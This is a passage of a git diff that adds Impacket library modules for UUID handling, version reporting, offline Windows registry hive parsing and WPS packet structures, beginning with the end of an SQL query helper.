+        self.changeDB(db)
+        self.printReplies()
+        ret = self.batch(sql_query,tuplemode,wait)
+        if wait:
+            self.printReplies()
+        if self.lastError:
+            raise self.lastError
+        if self.lastError:
+            raise self.lastError
+        return ret
+    
+    def RunSQLStatement(self,db,sql_query,wait=True,**kwArgs):
+        self.RunSQLQuery(db,sql_query,wait=wait)
+        if self.lastError:
+            raise self.lastError
+        return True
diff --git a/impacket/uuid.py b/impacket/uuid.py
new file mode 100644
index 0000000..fcf3dfe
--- /dev/null
+++ b/impacket/uuid.py
@@ -0,0 +1,95 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Generate UUID compliant with http://www.webdav.org/specs/draft-leach-uuids-guids-01.txt.
+#   A different, much simpler (not necessarily better) algorithm is used.
+#
+# Author:
+#   Javier Kohen (jkohen)
+#
+
+from __future__ import absolute_import
+from __future__ import print_function
+import re
+import binascii
+
+from random import randrange
+from struct import pack, unpack
+
+EMPTY_UUID = b'\x00'*16
+
+
+def generate():
+    # UHm... crappy Python has an maximum integer of 2**31-1.
+    top = (1<<31)-1
+    return pack("IIII", randrange(top), randrange(top), randrange(top), randrange(top))
+
+
+def bin_to_string(uuid):
+    uuid1, uuid2, uuid3 = unpack('<LHH', uuid[:8])
+    uuid4, uuid5, uuid6 = unpack('>HHL', uuid[8:16])
+    return '%08X-%04X-%04X-%04X-%04X%08X' % (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6)
+
+
+def string_to_bin(uuid):
+    # If a UUID in the 00000000000000000000000000000000 format, let's return bytes as is
+    if '-' not in uuid:
+        return binascii.unhexlify(uuid)
+
+    # If a UUID in the 00000000-0000-0000-0000-000000000000 format, parse it as Variant 2 UUID
+    # The first three components of the UUID are little-endian, and the last two are big-endian
+    matches = re.match(r"([\dA-Fa-f]{8})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})-([\dA-Fa-f]{4})([\dA-Fa-f]{8})",
+                       uuid)
+    (uuid1, uuid2, uuid3, uuid4, uuid5, uuid6) = [int(x, 16) for x in matches.groups()]
+    uuid = pack('<LHH', uuid1, uuid2, uuid3)
+    uuid += pack('>HHL', uuid4, uuid5, uuid6)
+    return uuid
+
+
+def stringver_to_bin(s):
+    (maj, min) = s.split('.')
+    return pack('<H', int(maj)) + pack('<H', int(min))
+
+
+def uuidtup_to_bin(tup):
+    if len(tup) != 2:
+        return
+    return string_to_bin(tup[0]) + stringver_to_bin(tup[1])
+
+
+def bin_to_uuidtup(bin):
+    assert len(bin) == 20
+    uuidstr = bin_to_string(bin[:16])
+    maj, min = unpack("<HH", bin[16:])
+    return uuidstr, "%d.%d" % (maj, min)
+
+
+def string_to_uuidtup(s):
+    """
+    if version is not found in the input string "1.0"  is returned
+    example:
+              "00000000-0000-0000-0000-000000000000 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
+              "10000000-2000-3000-4000-500000000000 version 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
+              "10000000-2000-3000-4000-500000000000 v 3.0" returns ('00000000-0000-0000-0000-000000000000','3.0')
+              "10000000-2000-3000-4000-500000000000" returns ('00000000-0000-0000-0000-000000000000','1.0')
+
+    :param s: string
+    :return: tuple (uuid,version)
+    """
+    g = re.search(r"([A-Fa-f0-9]{8}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{4}-[A-Fa-f0-9]{12}).*?([0-9]{1,5}\.[0-9]{1,5})",
+                  s + " 1.0")
+    if g: 
+        (u, v) = g.groups()
+        return u, v
+    return
+
+
+def uuidtup_to_string(tup):
+    uuid, (maj, min) = tup
+    return "%s v%d.%d" % (uuid, maj, min)
diff --git a/impacket/version.py b/impacket/version.py
new file mode 100644
index 0000000..08e836e
--- /dev/null
+++ b/impacket/version.py
@@ -0,0 +1,23 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+import pkg_resources
+from impacket import __path__
+
+
+try:
+    version = pkg_resources.get_distribution('impacket').version
+except pkg_resources.DistributionNotFound:
+    version = "?"
+    print("Cannot determine Impacket version. "
+          "If running from source you should at least run \"python setup.py egg_info\"")
+BANNER = "Impacket v{} - Copyright 2022 SecureAuth Corporation\n".format(version)
+
+def getInstallationPath():
+    return 'Impacket Library Installation Path: {}'.format(__path__[0])
diff --git a/impacket/winregistry.py b/impacket/winregistry.py
new file mode 100644
index 0000000..1ee72af
--- /dev/null
+++ b/impacket/winregistry.py
@@ -0,0 +1,486 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   A Windows Registry Library Parser
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# Reference:
+#   Data taken from https://bazaar.launchpad.net/~guadalinex-members/dumphive/trunk/view/head:/winreg.txt
+#   http://sentinelchicken.com/data/TheWindowsNTRegistryFileFormat.pdf
+#
+# ToDo:
+#   [ ] Parse li records, probable the same as the ri but couldn't find any to probe
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+from struct import unpack
+import ntpath
+from six import b
+
+from impacket import LOG
+from impacket.structure import Structure, hexdump
+
+
+# Constants
+
+ROOT_KEY        = 0x2c
+REG_NONE        = 0x00
+REG_SZ          = 0x01
+REG_EXPAND_SZ   = 0x02
+REG_BINARY      = 0x03
+REG_DWORD       = 0x04
+REG_MULTISZ     = 0x07
+REG_QWORD       = 0x0b
+
+# Structs
+class REG_REGF(Structure):
+    structure = (
+        ('Magic','"regf'),
+        ('Unknown','<L=0'),
+        ('Unknown2','<L=0'),
+        ('lastChange','<Q=0'),
+        ('MajorVersion','<L=0'),
+        ('MinorVersion','<L=0'),
+        ('0','<L=0'),
+        ('11','<L=0'),
+        ('OffsetFirstRecord','<L=0'),
+        ('DataSize','<L=0'),
+        ('1111','<L=0'),
+        ('Name','48s=""'),
+        ('Remaining1','411s=b""'),
+        ('CheckSum','<L=0xffffffff'), # Sum of all DWORDs from 0x0 to 0x1FB
+        ('Remaining2','3585s=b""'),
+    )
+
+class REG_HBIN(Structure):
+    structure = (
+        ('Magic','"hbin'),
+        ('OffsetFirstHBin','<L=0'),
+        ('OffsetNextHBin','<L=0'),
+        ('BlockSize','<L=0'),
+    )
+
+class REG_HBINBLOCK(Structure):
+    structure = (
+        ('DataBlockSize','<l=0'),
+        ('_Data','_-Data','self["DataBlockSize"]*(-1)-4'),
+        ('Data',':'),
+    )
+
+class REG_NK(Structure):
+    structure = (
+        ('Magic','"nk'),
+        ('Type','<H=0'),
+        ('lastChange','<Q=0'),
+        ('Unknown','<L=0'),
+        ('OffsetParent','<l=0'),
+        ('NumSubKeys','<L=0'),
+        ('Unknown2','<L=0'),
+        ('OffsetSubKeyLf','<l=0'),
+        ('Unknown3','<L=0'),
+        ('NumValues','<L=0'),
+        ('OffsetValueList','<l=0'),
+        ('OffsetSkRecord','<l=0'),
+        ('OffsetClassName','<l=0'),
+        ('UnUsed','20s=b""'),
+        ('NameLength','<H=0'),
+        ('ClassNameLength','<H=0'),
+        ('_KeyName','_-KeyName','self["NameLength"]'),
+        ('KeyName',':'),
+    )
+
+class REG_VK(Structure):
+    structure = (
+        ('Magic','"vk'),
+        ('NameLength','<H=0'),
+        ('DataLen','<l=0'),
+        ('OffsetData','<L=0'),
+        ('ValueType','<L=0'),
+        ('Flag','<H=0'),
+        ('UnUsed','<H=0'),
+        ('_Name','_-Name','self["NameLength"]'),
+        ('Name',':'),
+    )
+
+class REG_LF(Structure):
+    structure = (
+        ('Magic','"lf'),
+        ('NumKeys','<H=0'),
+        ('HashRecords',':'),
+    )
+
+class REG_LH(Structure):
+    structure = (
+        ('Magic','"lh'),
+        ('NumKeys','<H=0'),
+        ('HashRecords',':'),
+    )
+
+class REG_RI(Structure):
+    structure = (
+        ('Magic','"ri'),
+        ('NumKeys','<H=0'),
+        ('HashRecords',':'),
+    )
+
+class REG_SK(Structure):
+    structure = (
+        ('Magic','"sk'),
+        ('UnUsed','<H=0'),
+        ('OffsetPreviousSk','<l=0'),
+        ('OffsetNextSk','<l=0'),
+        ('UsageCounter','<L=0'),
+        ('SizeSk','<L=0'),
+        ('Data',':'),
+    )
+
+class REG_HASH(Structure):
+    structure = (
+        ('OffsetNk','<L=0'),
+        ('KeyName','4s=b""'),
+    )
+
+StructMappings = {b'nk': REG_NK,
+                  b'vk': REG_VK,
+                  b'lf': REG_LF,
+                  b'lh': REG_LH,
+                  b'ri': REG_RI,
+                  b'sk': REG_SK,
+                 }
+
+class Registry:
+    def __init__(self, hive, isRemote = False):
+        self.__hive = hive
+        if isRemote is True:
+            self.fd = self.__hive
+            self.__hive.open()
+        else:
+            self.fd = open(hive,'rb')
+        data = self.fd.read(4096)
+        self.__regf = REG_REGF(data)
+        self.indent = ''
+        self.rootKey = self.__findRootKey()
+        if self.rootKey is None:
+            LOG.error("Can't find root key!")
+        elif self.__regf['MajorVersion'] != 1 and self.__regf['MinorVersion'] > 5:
+            LOG.warning("Unsupported version (%d.%d) - things might not work!" % (self.__regf['MajorVersion'], self.__regf['MinorVersion']))
+
+    def close(self):
+        self.fd.close()
+
+    def __del__(self):
+        self.close()
+
+    def __findRootKey(self):
+        self.fd.seek(0,0)
+        data = self.fd.read(4096)
+        while len(data) > 0:
+            try:
+                hbin = REG_HBIN(data[:0x20])
+                # Read the remaining bytes for this hbin
+                data += self.fd.read(hbin['OffsetNextHBin']-4096)
+                data = data[0x20:]
+                blocks = self.__processDataBlocks(data)
+                for block in blocks:
+                    if isinstance(block, REG_NK):
+                        if block['Type'] == ROOT_KEY:
+                            return block
+            except Exception as e:
+                pass
+            data = self.fd.read(4096)
+
+        return None
+
+
+    def __getBlock(self, offset):
+        self.fd.seek(4096+offset,0)
+        sizeBytes = self.fd.read(4)
+        data = sizeBytes + self.fd.read(unpack('<l',sizeBytes)[0]*-1-4)
+        if len(data) == 0:
+            return None
+        else:
+            block = REG_HBINBLOCK(data)
+            if block['Data'][:2] in StructMappings:
+                return StructMappings[block['Data'][:2]](block['Data'])
+            else:
+                LOG.debug("Unknown type 0x%s" % block['Data'][:2])
+                return block
+            return None
+
+    def __getValueBlocks(self, offset, count):
+        valueList = []
+        res = []
+        self.fd.seek(4096+offset,0)
+        for i in range(count):
+            valueList.append(unpack('<l',self.fd.read(4))[0])
+
+        for valueOffset in valueList:
+            if valueOffset > 0:
+                block = self.__getBlock(valueOffset)
+                res.append(block)
+        return res
+
+    def __getData(self, offset, count):
+        self.fd.seek(4096+offset, 0)
+        return self.fd.read(count)[4:]
+
+    def __processDataBlocks(self,data):
+        res = []
+        while len(data) > 0:
+            #blockSize = unpack('<l',data[:calcsize('l')])[0]
+            blockSize = unpack('<l',data[:4])[0]
+            block = REG_HBINBLOCK()
+            if blockSize > 0:
+                tmpList = list(block.structure)
+                tmpList[1] = ('_Data','_-Data','self["DataBlockSize"]-4')
+                block.structure =  tuple(tmpList)
+
+            block.fromString(data)
+            blockLen = len(block)
+
+            if block['Data'][:2] in StructMappings:
+                block = StructMappings[block['Data'][:2]](block['Data'])
+
+            res.append(block)
+            data = data[blockLen:]
+        return res
+
+    def __getValueData(self, rec):
+        # We should receive a VK record
+        if rec['DataLen'] == 0:
+            return ''
+        if rec['DataLen'] < 0:
+            # if DataLen < 5 the value itself is stored in the Offset field
+            return rec['OffsetData']
+        else:
+            return self.__getData(rec['OffsetData'], rec['DataLen']+4)
+
+    def __getLhHash(self, key):
+        res = 0
+        for bb in key.upper():
+            res *= 37
+            res += ord(bb)
+        return res % 0x100000000
+
+    def __compareHash(self, magic, hashData, key):
+        if magic == 'lf':
+            hashRec = REG_HASH(hashData)
+            if hashRec['KeyName'].strip(b'\x00') == b(key[:4]):
+                return hashRec['OffsetNk']
+        elif magic == 'lh':
+            hashRec = REG_HASH(hashData)
+            if unpack('<L',hashRec['KeyName'])[0] == self.__getLhHash(key):
+                return hashRec['OffsetNk']
+        elif magic == 'ri':
+            # Special case here, don't know exactly why, an ri pointing to a NK :-o
+            offset = unpack('<L', hashData[:4])[0]
+            nk = self.__getBlock(offset)
+            if nk['KeyName'] == key:
+                return offset
+        else:
+            LOG.critical("UNKNOWN Magic %s" % magic)
+            sys.exit(1)
+
+        return None
+
+    def __findSubKey(self, parentKey, subKey):
+        lf = self.__getBlock(parentKey['OffsetSubKeyLf'])
+        if lf is not None:
+            data = lf['HashRecords']
+            # Let's search the hash records for the name
+            if lf['Magic'] == 'ri':
+                # ri points to lf/lh records, so we must parse them before
+                records = b''
+                for i in range(lf['NumKeys']):
+                    offset = unpack('<L', data[:4])[0]
+                    l = self.__getBlock(offset)
+                    records = records + l['HashRecords'][:l['NumKeys']*8]
+                    data = data[4:]
+                data = records
+
+            #for record in range(lf['NumKeys']):
+            for record in range(parentKey['NumSubKeys']):
+                hashRec = data[:8]
+                res = self.__compareHash(lf['Magic'], hashRec, subKey)
+                if res is not None:
+                    # We have a match, now let's check the whole record
+                    nk = self.__getBlock(res)
+                    if nk['KeyName'].decode('utf-8') == subKey:
+                        return nk
+                data = data[8:]
+
+        return None
+
+    def __walkSubNodes(self, rec):
+        nk = self.__getBlock(rec['OffsetNk'])
+        if isinstance(nk, REG_NK):
+            print("%s%s" % (self.indent, nk['KeyName'].decode('utf-8')))
+            self.indent += '  '
+            if nk['OffsetSubKeyLf'] < 0:
+                self.indent = self.indent[:-2]
+                return
+            lf = self.__getBlock(nk['OffsetSubKeyLf'])
+        else:
+            lf = nk
+
+        data = lf['HashRecords']
+
+        if lf['Magic'] == 'ri':
+            # ri points to lf/lh records, so we must parse them before
+            records = ''
+            for i in range(lf['NumKeys']):
+                offset = unpack('<L', data[:4])[0]
+                l = self.__getBlock(offset)
+                records = records + l['HashRecords'][:l['NumKeys']*8]
+                data = data[4:]
+            data = records
+
+        for key in range(lf['NumKeys']):
+            hashRec = REG_HASH(data[:8])
+            self.__walkSubNodes(hashRec)
+            data = data[8:]
+
+        if isinstance(nk, REG_NK):
+            self.indent = self.indent[:-2]
+
+    def walk(self, parentKey):
+        key = self.findKey(parentKey)
+
+        if key is None or key['OffsetSubKeyLf'] < 0:
+            return
+
+        lf = self.__getBlock(key['OffsetSubKeyLf'])
+        data = lf['HashRecords']
+        for record in range(lf['NumKeys']):
+            hashRec = REG_HASH(data[:8])
+            self.__walkSubNodes(hashRec)
+            data = data[8:]
+
+    def findKey(self, key):
+        # Let's strip '\' from the beginning, except for the case of
+        # only asking for the root node
+        if key[0] == '\\' and len(key) > 1:
+            key = key[1:]
+
+        parentKey = self.rootKey
+        if len(key) > 0 and key[0]!='\\':
+            for subKey in key.split('\\'):
+                res = self.__findSubKey(parentKey, subKey)
+                if res is not None:
+                    parentKey = res
+                else:
+                    #LOG.error("Key %s not found!" % key)
+                    return None
+
+        return parentKey
+
+    def printValue(self, valueType, valueData):
+        if valueType == REG_SZ or valueType == REG_EXPAND_SZ:
+            if type(valueData) is int:
+                print('NULL')
+            else:
+                print("%s" % (valueData.decode('utf-16le')))
+        elif valueType == REG_BINARY:
+            print('')
+            hexdump(valueData, self.indent)
+        elif valueType == REG_DWORD:
+            print("%d" % valueData)
+        elif valueType == REG_QWORD:
+            print("%d" % (unpack('<Q',valueData)[0]))
+        elif valueType == REG_NONE:
+            try:
+                if len(valueData) > 1:
+                    print('')
+                    hexdump(valueData, self.indent)
+                else:
+                    print(" NULL")
+            except:
+                print(" NULL")
+        elif valueType == REG_MULTISZ:
+            print("%s" % (valueData.decode('utf-16le')))
+        else:
+            print("Unknown Type 0x%x!" % valueType)
+            hexdump(valueData)
+
+    def enumKey(self, parentKey):
+        res = []
+        # If we're here.. we have a valid NK record for the key
+        # Now let's searcht the subkeys
+        if parentKey['NumSubKeys'] > 0:
+            lf = self.__getBlock(parentKey['OffsetSubKeyLf'])
+            data = lf['HashRecords']
+
+            if lf['Magic'] == 'ri':
+                # ri points to lf/lh records, so we must parse them before
+                records = ''
+                for i in range(lf['NumKeys']):
+                    offset = unpack('<L', data[:4])[0]
+                    l = self.__getBlock(offset)
+                    records = records + l['HashRecords'][:l['NumKeys']*8]
+                    data = data[4:]
+                data = records
+
+            for i in range(parentKey['NumSubKeys']):
+                hashRec = REG_HASH(data[:8])
+                nk = self.__getBlock(hashRec['OffsetNk'])
+                data = data[8:]
+                res.append('%s'%nk['KeyName'].decode('utf-8'))
+        return res
+
+    def enumValues(self,key):
+        # If we're here.. we have a valid NK record for the key
+        # Now let's search its values
+        resp = []
+        if key['NumValues'] > 0:
+            valueList = self.__getValueBlocks(key['OffsetValueList'], key['NumValues']+1)
+
+            for value in valueList:
+                if value['Flag'] > 0:
+                    resp.append(value['Name'])
+                else:
+                    resp.append(b'default')
+
+        return resp
+
+    def getValue(self, keyValue):
+        # returns a tuple with (ValueType, ValueData) for the requested keyValue
+        regKey = ntpath.dirname(keyValue)
+        regValue = ntpath.basename(keyValue)
+
+        key = self.findKey(regKey)
+
+        if key is None:
+            return None
+
+        if key['NumValues'] > 0:
+            valueList = self.__getValueBlocks(key['OffsetValueList'], key['NumValues']+1)
+
+            for value in valueList:
+                if value['Name'] == b(regValue):
+                    return value['ValueType'], self.__getValueData(value)
+                elif regValue == 'default' and value['Flag'] <=0:
+                    return value['ValueType'], self.__getValueData(value)
+
+        return None
+
+    def getClass(self, className):
+
+        key = self.findKey(className)
+
+        if key is None:
+            return None
+
+        #print key.dump()
+        if key['OffsetClassName'] > 0:
+            value = self.__getBlock(key['OffsetClassName'])
+            return value['Data']
diff --git a/impacket/wps.py b/impacket/wps.py
new file mode 100644
index 0000000..1a1cb4e
--- /dev/null
+++ b/impacket/wps.py
@@ -0,0 +1,407 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   WPS packets
+#
+# Author:
+#   Aureliano Calvo
+#
+
+import array
+import struct
+
+from impacket.ImpactPacket import array_tobytes
+from impacket.helper import ProtocolPacket, Byte, Bit
+from functools import reduce
+
+
+class ArrayBuilder(object):
+
+    def from_ary(self, ary):
+        return ary
+
+    def to_ary(self, value):
+        return array.array("B", value)
+    
+class ByteBuilder(object):
+
+    def from_ary(self, ary):
+        return ary[0]
+    
+    def to_ary(self, value):
+        return array.array('B', [value])
+    
+class StringBuilder(object):
+    def from_ary(self, ary):
+        return array_tobytes(ary)
+        
+    def to_ary(self, value):
+        return array.array('B', value)
+    
+class NumBuilder(object):
+    """Converts back and forth between arrays and numbers in network byte-order"""
+    
+    def __init__(self, size):
+        """size: number of bytes in the field"""
+        self.size = size
+    
+    def from_ary(self, ary):
+        if len(ary) != self.size:
+            raise Exception("Expected %s size but got %s" % (self.size, len(ary)))
+        return reduce( lambda ac, x: ac * 256 + x, ary, 0)
+    
+    def to_ary(self, value0):
+        value = value0
+        rv = array.array('B')
+        for _ in range(self.size):
+            value, mod = divmod(value, 256)
+            rv.append(mod)
+            
+        if value != 0:
+            raise Exception("%s is too big. Max size: %s" % (value0, self.size))
+            
+        rv.reverse()
+        return rv
+    
+class TLVContainer(object):
+    
+    def builder(self, kind):
+        return self.builders.get(kind, self.default_builder)
+    
+    def from_ary(self, ary):
+        i = 0
+        while i<len(ary):
+            kind = self.ary2n(ary, i)
+            length = self.ary2n(ary, i+2)
+            i+=4
+            value = ary[i:i+length]
+            self.elems.append((kind, value))
+            i += length
+            
+        return self
+                
+    def __init__(self, builders, default_builder = ArrayBuilder(), descs=None):
+        self.builders = builders
+        self.default_builder = default_builder
+        self.elems = []
+        self.descs = descs or {}
+        
+    def append(self, kind, value):
+        self.elems.append((kind, self.builder(kind).to_ary(value)))
+    
+    def __iter__(self):
+        return ((k, self.builder(k).from_ary(v)) for k,v in self.elems)
+    
+    def all(self, kind):
+        return [e[1] for e in self if e[0] == kind]
+    
+    def __contains__(self, kind):
+        return len(self.all(kind)) != 0
+    
+    def first(self, kind):
+        return self.all(kind)[0]
+    
+    def to_ary(self):
+        ary = array.array('B')
+        for k,v in self.elems:
+            ary.extend(self.n2ary(k))
+            ary.extend(self.n2ary(len(v)))
+            ary.extend(v)
+            
+        return ary
+
+    
+    def get_packet(self):
+        return array_tobytes(self.to_ary())
+    
+    def set_parent(self, my_parent):
+        self.__parent = my_parent
+        
+    def parent(self):
+        return self.__parent
+    
+    def n2ary(self, n):
+        return array.array("B", struct.pack(">H",n))
+    
+    def ary2n(self, ary, i=0):
+        return struct.unpack(">H", array_tobytes(ary[i:i+2]))[0]
+    
+    def __repr__(self):
+        def desc(kind):
+            return self.descs[kind] if kind in self.descs else kind
+        
+        return "<TLVContainer %s>" % repr([(desc(k), self.builder(k).from_ary(v)) for (k,v) in self.elems])
+    
+    def child(self):
+        return None
+
+class SCElem(object):    
+    #Data elements as defined in section 11 of the WPS 1.0h spec.
+    
+    AP_CHANNEL = 0x1001
+    ASSOCIATION_STATE = 0x1002
+    AUTHENTICATION_TYPE = 0x1003
+    AUTHENTICATION_TYPE_FLAGS = 0x1004
+    AUTHENTICATOR = 0x1005
+    CONFIG_METHODS = 0x1008
+    CONFIGURATION_ERROR = 0x1009
+    CONFIRMATION_URL4 = 0x100A
+    CONFIRMATION_URL6 = 0x100B
+    CONNECTION_TYPE = 0X100C
+    CONNECTION_TYPE_FLAGS = 0X100D
+    CREDENTIAL = 0X100E 
+    DEVICE_NAME = 0x1011
+    DEVICE_PASSWORD_ID = 0x1012
+    E_HASH1 = 0x1014
+    E_HASH2 = 0x1015
+    E_SNONCE1 = 0x1016
+    E_SNONCE2 = 0x1017
+    ENCRYPTED_SETTINGS = 0x1018 
+    ENCRYPTION_TYPE = 0X100F
+    ENCRYPTION_TYPE_FLAGS = 0x1010
+    ENROLLEE_NONCE = 0x101A
+    FEATURE_ID = 0x101B
+    IDENTITY = 0X101C
+    INDENTITY_PROOF = 0X101D 
+    KEY_WRAP_AUTHENTICATOR = 0x101E
+    KEY_IDENTIFIER = 0X101F
+    MAC_ADDRESS = 0x1020
+    MANUFACTURER = 0x1021
+    MESSAGE_TYPE = 0x1022
+    MODEL_NAME = 0x1023
+    MODEL_NUMBER = 0x1024
+    NETWORK_INDEX = 0x1026
+    NETWORK_KEY = 0x1027
+    NETWORK_KEY_INDEX = 0x1028
+    NEW_DEVICE_NAME = 0x1029
+    NEW_PASSWORD = 0x102A
+    OOB_DEVICE_PASSWORD = 0X102C
+    OS_VERSION= 0X102D
+    POWER_LEVEL = 0X102F
+    PSK_CURRENT = 0x1030
+    PSK_MAX = 0x1031
+    PUBLIC_KEY = 0x1032
+    RADIO_ENABLED = 0x1033
+    REBOOT = 0x1034
+    REGISTRAR_CURRENT = 0x1035
+    REGISTRAR_ESTABLISHED = 0x1036
+    REGISTRAR_LIST = 0x1037
+    REGISTRAR_MAX = 0x1038
+    REGISTRAR_NONCE = 0x1039
+    REQUEST_TYPE = 0x103A
+    RESPONSE_TYPE = 0x103B
+    RF_BANDS = 0X103C
+    R_HASH1 = 0X103D
+    R_HASH2 = 0X103E
+    R_SNONCE1 = 0X103F
+    R_SNONCE2 = 0x1040
+    SELECTED_REGISTRAR = 0x1041
+    SERIAL_NUMBER = 0x1042
+    WPS_STATE = 0x1044
+    SSID = 0x1045
+    TOTAL_NETWORKS = 0x1046
+    UUID_E = 0x1047
+    UUID_R = 0x1048
+    VENDOR_EXTENSION = 0x1049
+    VERSION = 0x104A
+    X_509_CERTIFICATE_REQUEST = 0x104B 
+    X_509_CERTIFICATE = 0x104C
+    EAP_IDENTITY = 0x104D
+    MESSAGE_COUNTER = 0x104E
+    PUBLIC_KEY_HASH = 0x104F
+    REKEY_KEY = 0x1050
+    KEY_LIFETIME = 0x1051
+    PERMITTED_CONFIG_METHODS = 0x1052
+    SELECTED_REGISTRAR_CONFIG_METHODS= 0x1053
+    PRIMARY_DEVICE_TYPE = 0x1054
+    SECONDARY_DEVICE_TYPE_LIST = 0x1055
+    PORTABLE_DEVICE = 0x1056
+    AP_SETUP_LOCKED = 0x1057
+    APPLICATION_EXTENSION = 0x1058
+    EAP_TYPE = 0x1059
+    INITIALIZATION_VECTOR = 0x1060
+    KEY_PROVIDED_AUTOMATICALLY = 0x1061
+    _802_1X_ENABLED = 0x1062
+    APP_SESSION_KEY = 0x1063
+    WEP_TRANSMIT_KEY = 0x1064
+    
+class MessageType(object):
+    """Message types according to WPS 1.0h spec, section 11"""
+    
+    BEACON = 0x01
+    PROBE_REQUEST = 0x02
+    PROBE_RESPONSE = 0x03
+    M1 = 0x04
+    M2 = 0x05
+    M2D = 0x06
+    M3 = 0x07
+    M4 = 0x08
+    M5 = 0x09
+    M6 = 0x0A
+    M7 = 0x0B
+    M8 = 0x0C
+    WSC_ACK = 0x0D
+    WSC_NACK = 0x0E
+    WSC_DONE = 0x0F
+    
+class AuthTypeFlag(object):
+    OPEN = 0x0001
+    WPAPSK = 0x0002
+    SHARED = 0x0004
+    WPA = 0x0008
+    WPA2 = 0x0010
+    WPA2PSK = 0x0020
+    
+AuthTypeFlag_ALL = AuthTypeFlag.OPEN | \
+        AuthTypeFlag.WPAPSK | \
+        AuthTypeFlag.SHARED | \
+        AuthTypeFlag.WPA | \
+        AuthTypeFlag.WPA2 | \
+        AuthTypeFlag.WPA2PSK
+        
+class EncryptionTypeFlag(object):
+    NONE = 0x0001
+    WEP = 0x0002
+    TKIP = 0x0004
+    AES = 0x0008
+    
+EncryptionTypeFlag_ALL = EncryptionTypeFlag.NONE | EncryptionTypeFlag.WEP | EncryptionTypeFlag.TKIP | EncryptionTypeFlag.AES
+
+class ConnectionTypeFlag(object):
+    ESS = 0x01
+    IBSS = 0x02
+    
+class ConfigMethod(object):
+    USBA = 0x0001
+    ETHERNET = 0x0002
+    LABEL = 0x0004
+    DISPLAY = 0x0008
+    EXT_NFC_TOKEN = 0x0010
+    INT_NFC_TOKEN = 0x0020
+    NFC_INTERFACE = 0x0040
+    PUSHBUTTON = 0x0080
+    KEYPAD = 0x0100
+    
+    
+class OpCode(object):
+    WSC_START = 0x01
+    WSC_ACK = 0x02
+    WSC_NACK = 0x03
+    WSC_MSG = 0x04
+    WSC_DONE = 0x05
+    WSC_FRAG_ACK = 0x06
+    
+class AssocState(object):
+    NOT_ASSOC = 0
+    CONN_SUCCESS = 1
+    CFG_FAILURE = 2
+    FAILURE = 3,
+    IP_FAILURE = 4
+    
+class ConfigError(object):
+    NO_ERROR = 0
+    OOB_IFACE_READ_ERROR = 1
+    DECRYPTION_CRC_FAILURE = 2
+    _24_CHAN_NOT_SUPPORTED = 3
+    _50_CHAN_NOT_SUPPORTED = 4
+    SIGNAL_TOO_WEAK = 5
+    NETWORK_AUTH_FAILURE = 6
+    NETWORK_ASSOC_FAILURE = 7
+    NO_DHCP_RESPONSE = 8
+    FAILED_DHCP_CONFIG = 9
+    IP_ADDR_CONFLICT = 10
+    NO_CONN_TO_REGISTRAR = 11
+    MULTIPLE_PBC_DETECTED = 12
+    ROGUE_SUSPECTED = 13
+    DEVICE_BUSY = 14
+    SETUP_LOCKED = 15
+    MSG_TIMEOUT = 16
+    REG_SESS_TIMEOUT = 17
+    DEV_PASSWORD_AUTH_FAILURE = 18
+    
+class DevicePasswordId(object):
+    DEFAULT = 0x0000
+    USER_SPECIFIED = 0x0001
+    MACHINE_SPECIFIED = 0x0002
+    REKEY = 0x0003
+    PUSHBUTTON = 0x0004
+    REGISTRAR_SPECIFIED = 0x0005
+    
+class WpsState(object):
+    NOT_CONFIGURED = 0x01
+    CONFIGURED = 0x02
+    
+
+class SimpleConfig(ProtocolPacket):
+    "For now, it supports Simple configs with the bits more_fragments and length_field not set"
+    
+    header_size = 2
+    tail_size = 0
+
+    op_code = Byte(0)
+    flags = Byte(1)
+    more_fragments = Bit(1, 0)
+    length_field = Bit(1,1)
+    
+    BUILDERS = {
+        SCElem.CONNECTION_TYPE: ByteBuilder(),
+        SCElem.CONNECTION_TYPE_FLAGS: ByteBuilder(),
+        SCElem.VERSION: ByteBuilder(),
+        SCElem.MESSAGE_TYPE: ByteBuilder(),
+        SCElem.NETWORK_INDEX: ByteBuilder(),
+        SCElem.NETWORK_KEY_INDEX: ByteBuilder(),
+        SCElem.POWER_LEVEL: ByteBuilder(),
+        SCElem.PSK_CURRENT: ByteBuilder(),
+        SCElem.PSK_MAX: ByteBuilder(),
+        SCElem.REGISTRAR_CURRENT: ByteBuilder(),
+        SCElem.REGISTRAR_MAX: ByteBuilder(),
+        SCElem.REQUEST_TYPE: ByteBuilder(),
+        SCElem.RESPONSE_TYPE: ByteBuilder(),
+        SCElem.RF_BANDS: ByteBuilder(),
+        SCElem.WPS_STATE: ByteBuilder(),
+        SCElem.TOTAL_NETWORKS: ByteBuilder(),
+        SCElem.VERSION: ByteBuilder(),
+        SCElem.WEP_TRANSMIT_KEY: ByteBuilder(),
+        
+        SCElem.CONFIRMATION_URL4: StringBuilder(),
+        SCElem.CONFIRMATION_URL6: StringBuilder(),
+        SCElem.DEVICE_NAME: StringBuilder(),
+        SCElem.IDENTITY: StringBuilder(),
+        SCElem.MANUFACTURER: StringBuilder(),
+        SCElem.MODEL_NAME: StringBuilder(),
